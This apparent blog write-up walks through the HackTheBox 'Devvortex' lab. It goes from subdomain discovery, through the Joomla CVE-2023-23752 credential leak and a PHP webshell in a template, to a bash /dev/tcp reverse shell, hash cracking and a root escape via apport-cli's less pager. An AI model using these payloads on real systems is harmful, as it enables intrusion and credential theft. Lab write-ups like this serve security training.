Directory brute-force gets you nowhere on Devvortex. The win is one layer up - in the subdomains.

Machine info

NameDevvortex
PlatformHackTheBox
OSLinux
DifficultyEasy

TL;DR

  • Subdomain enumeration reveals dev.devvortex.htb, running Joomla 4.2.6
  • joomscan identifies the exact version; CVE-2023-23752 leaks usernames and the admin password via unauthenticated REST API endpoints
  • Log in as lewis, edit the active Cassiopeia template to plant a PHP webshell, get a shell as www-data
  • configuration.php re-exposes the MySQL password; query the sd4fg_users table and crack logan’s bcrypt hash with John
  • su logan, check sudo: (ALL:ALL) /usr/bin/apport-cli - escape through the less pager to root

Recon

Nmap

1
nmap -sV -sC -Pn -A devvortex.htb

Nmap results

Ports 22 (SSH) and 80 (HTTP). nginx 1.18.0 on Ubuntu.


Enumeration

Initial directory brute-force

1
gobuster dir -u http://devvortex.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-directories.txt

Nothing interesting on the root domain. Time to go wider.

Subdomain enumeration

1
gobuster vhost -u http://devvortex.htb -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain

Gobuster vhost

dev.devvortex.htb responds with 200. Added it to /etc/hosts and moved on.

Directory brute-force on the dev subdomain

1
gobuster dir -u http://dev.devvortex.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-directories.txt

Gobuster dir dev

Joomla all over the place - /modules, /templates, /components, /administrator. Classic fingerprint.

Joomla admin panel

Navigating straight to /administrator - of course that’s where you go first.

Joomla admin login

Version detection with joomscan

1
joomscan -u http://dev.devvortex.htb

joomscan version

Joomla 4.2.6. A quick search turns up CVE-2023-23752 - unauthenticated information disclosure through the Joomla REST API. Two endpoints leak everything we need.


Foothold

CVE-2023-23752 - user and config disclosure

User enumeration:

CVE users endpoint

1
http://dev.devvortex.htb/api/index.php/v1/users?public=true

Two users: lewis (Super User) and logan paul (Registered).

Configuration leak:

CVE config endpoint

1
http://dev.devvortex.htb/api/index.php/v1/config/application?public=true

The config endpoint dumps the application settings including the database user (lewis) and password: P4ntherg0t1n5r3c0n##.

Why this works: Joomla 4.0.0 through 4.2.7 exposes these REST API endpoints without authentication. The ?public=true parameter is supposed to filter results, but the access control check was completely broken for these routes - it bypasses the authentication requirement entirely, exposing sensitive internal data to anyone who knows the URL.

Joomla admin login as lewis

Back to the admin login. lewis / P4ntherg0t1n5r3c0n## - in on the first try.

Template webshell

With admin access, the fastest path to RCE in Joomla is editing a PHP template file. Navigate to System > Site Templates > Cassiopeia Details and Files, open error.php, and drop in a webshell:

Template webshell

1
<?php system($_GET["cmd"]);?>

Save. Then hit the file directly:

RCE browser

1
http://dev.devvortex.htb/templates/cassiopeia/error.php?cmd=id

uid=33(www-data) - RCE confirmed.

Reverse shell

Set up a netcat listener on port 4444 and trigger a reverse shell through the webshell using a URL-encoded bash payload:

1
http://dev.devvortex.htb/templates/cassiopeia/error.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.X/4444+0>%261'

Shell www-data

Shell as www-data@devvortex.


Privilege Escalation

MySQL credentials from configuration.php

1
cat /var/www/dev.devvortex.htb/configuration.php

configuration.php

DB creds: user lewis, password P4ntherg0t1n5r3c0n##, database joomla, type mysqli. Same password as the Joomla admin account.

Querying the users table

Upgrade the shell first:

1
python3 -c 'import pty; pty.spawn("/bin/bash")'

Then connect to MySQL and find the user hashes:

MySQL connect

1
mysql -u lewis -p'P4ntherg0t1n5r3c0n##' -D joomla

MySQL hashes

1
select name,password from sd4fg_users;

Two bcrypt hashes - lewis and logan paul. Logan’s is the target.

Cracking logan’s hash

1
john hash --wordlist=/usr/share/wordlists/rockyou.txt

John cracked

Password: tequieromucho.

Lateral move to logan

su logan user flag

User flag captured.

sudo -l

sudo -l

1
(ALL : ALL) /usr/bin/apport-cli

Logan can run apport-cli as root.

apport-cli pager escape

1
sudo apport-cli -f

apport-cli is Ubuntu’s crash reporter. When run interactively, it pages through the report using less. Since the process was spawned via sudo, the entire process tree - including less - runs as root. The less pager supports shell escapes through the ! operator, which spawns a child process inheriting the current user context. In this case, that context is root:

1
!/bin/bash

Root shell

Root.


Takeaways

  • Subdomains expand the attack surface significantly. A dead-end on the root domain doesn’t mean it’s over - always enumerate vhosts and subdomains before giving up.
  • CVE-2023-23752 is a low-effort, high-reward check on any Joomla target. Versions 4.0.0 to 4.2.7 are affected; hitting two unauthenticated API endpoints hands you usernames and plaintext credentials.
  • Joomla template editing equals direct code execution. Any admin with template edit permissions can run arbitrary PHP. Lock this down in production.
  • Any sudo-invoked pager is a shell escape. apport-cli, man, git log, and many others open less - and less runs !command as the invoking user. If that user is root, you have root.

References